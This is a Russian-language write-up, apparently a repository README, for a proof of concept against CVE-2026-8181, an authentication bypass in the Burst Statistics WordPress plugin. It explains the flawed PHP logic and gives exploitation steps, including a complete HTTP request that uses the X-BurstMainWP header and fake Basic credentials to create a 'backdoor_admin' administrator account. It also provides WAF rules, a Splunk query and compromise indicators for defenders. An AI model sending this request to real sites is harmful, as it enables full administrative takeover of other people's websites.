
Python PoC для CVE-2026-8181, критический обход аутентификации в плагине Burst Statistics для WordPress. Включает автоматизацию эксплуатации, массовое сканирование и создание учетной записи администратора для авторизованного тестирования безопасности.
[!CAUTION] КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ: Эта уязвимость позволяет неаутентифицированному удалённому злоумышленнику обойти аутентификацию и получить полные привилегии администратора на целевом сайте WordPress, просто внедрив пользовательский HTTP-заголовок. Данный CVE в настоящее время активно эксплуатируется в реальных атаках.
CVE-2026-8181 — критическая уязвимость обхода аутентификации, затрагивающая плагин Burst Statistics для WordPress (версии 3.4.0 – 3.4.1.1). Ошибка находится в интеграции с MainWP-прокси плагина. Из-за некорректной проверки паролей приложений во время раннего хука plugins_loaded плагин ошибочно предоставляет административный контекст REST API-запросам, содержащим заголовок X-BurstMainWP: 1, даже если в запросе отсутствуют действительные учётные данные.
Таким образом, простой неаутентифицированный HTTP-запрос превращается в полный захват административных прав, обходя все стандартные механизмы аутентификации WordPress.
Чтобы понять, как простой заголовок даёт ключи от королевства, разберём PHP-логику в обработчике аутентификации плагина.
Уязвимость возникает из-за некорректной условной ветки в методе is_mainwp_authenticated() файла includes/Frontend/class-mainwp-proxy.php.
init() на хуке plugins_loaded с приоритетом 9. Это слишком рано в жизненном цикле WordPress.X-BurstMainWP: 1, метод has_admin_access() делегирует аутентификацию методу is_mainwp_authenticated().Authorization и передаёт учётные данные в ядро WordPress — функцию wp_authenticate_application_password().application_password_is_api_request в true (из-за раннего выполнения хука), функция ядра возвращает null вместо объекта WP_Error.is_wp_error( $user ). Поскольку null не является WP_Error, защита пропускается.wp_set_current_user() с предоставленным злоумышленником именем пользователя, мгновенно повышая уровень запроса до полного административного контекста.// Упрощённое представление уязвимого кода в Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Корректно обрабатывает явные ошибки аутентификации
}
// 🚨 ФАТАЛЬНАЯ ОШИБКА 🚨
// Если пароль приложения не указан или запрос API ещё не помечен,
// wp_authenticate_application_password возвращает NULL.
// Код не проверяет NULL!
if ( $user === null ) {
// Вместо безопасного отказа попадает в эту небезопасную ветку:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Предоставлен контекст администратора!
return true;
}
Этот раздел предназначен для Red Team и уполномоченных пентестеров.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Если заблокировано, используйте трюк с архивом автора: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null и повышает запрос до контекста администратора. Создаётся новый пользователь-администратор.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Важное замечание об окружении: Для успешной эксплуатации заголовок
Authorizationдолжен достигать PHP.
- Nginx / LiteSpeed / Apache с человеко-понятными ссылками (Pretty Permalinks): Заголовок передаётся. Эксплойт УСПЕШЕН.
- Apache с обычными ссылками (Plain Permalinks, по умолчанию): Заголовок молча отбрасывается веб-сервером. Эксплойт НЕУДАЧЕН.
Этот раздел предназначен для Blue Team, SOC-аналитиков и системных администраторов.
Заблокируйте или отслеживайте конкретный заголовок на границе сети.
Правило для ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Попытка обхода аутентификации Burst Statistics', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Пользовательское правило Cloudflare WAF:
(http.request.headers["X-BurstMainWP"] eq "1")
Проверьте журналы веб-сервера на наличие заголовка в сочетании с созданием пользователей через REST API.
Запрос для Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
При подозрении на взлом ищите следующие признаки пост-эксплуатации:
wp_users на наличие учётных записей, созданных через REST API с ролью administrator.wp-content/plugins/ на несанкционированные загрузки (часто веб-шеллы, замаскированные под легитимные плагины).wp-content/themes/ или в основных файлах.[!IMPORTANT] Требуется немедленное действие: Если вы используете уязвимую версию, немедленно примените одно из следующих смягчающих мер.